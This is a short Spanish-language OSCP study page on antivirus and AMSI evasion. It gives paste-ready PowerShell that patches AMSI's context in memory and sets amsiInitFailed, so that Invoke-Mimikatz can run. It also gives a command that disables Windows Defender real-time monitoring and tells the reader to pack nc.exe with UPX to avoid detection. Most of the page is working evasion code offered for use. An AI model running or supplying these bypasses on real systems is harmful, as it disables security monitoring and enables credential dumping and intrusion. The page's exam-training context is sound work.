Saltar a contenido

AV & AMSI Evasion

[!warning] Exam Context El OSCP no es un examen de Evasión (OSEP). Sin embargo, a veces un script de PowerShell es bloqueado por AMSI (Antimalware Scan Interface). Aquí tienes cómo saltártelo.

1. PowerShell AMSI Bypass

Copia y pega esto en tu terminal de PowerShell antes de ejecutar Invoke-Mimikatz o similar.

Rompe la firma partiendo el string "AmsiUtils".

$a = [Ref].Assembly.GetTypes()
ForEach($b in $a) {if ($b.Name -like "*iUtils") {$c = $b}}
$d = $c.GetFields('NonPublic,Static')
ForEach($e in $d) {if ($e.Name -like "*Context") {$f = $e}}
$g = $f.GetValue($null)
[IntPtr]$ptr = $g
[System.Runtime.InteropServices.Marshal]::WriteInt32($ptr, [int32]0)

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
(Nota: Este suele ser detectado, usa versiones ofuscadas).

2. Defender Evasion (Basic)

Si tienes GUI o RDP y eres Admin:

Set-MpPreference -DisableRealtimeMonitoring $true

3. Obfuscation Tools

Si tu binario (ej: nc.exe) es detectado. 1. Packers: Usa UPX (a veces funciona, a veces lo empeora). upx -9 nc.exe -o nc_packed.exe 2. PowerShell Obfuscator: Invoke-Obfuscation (GitHub).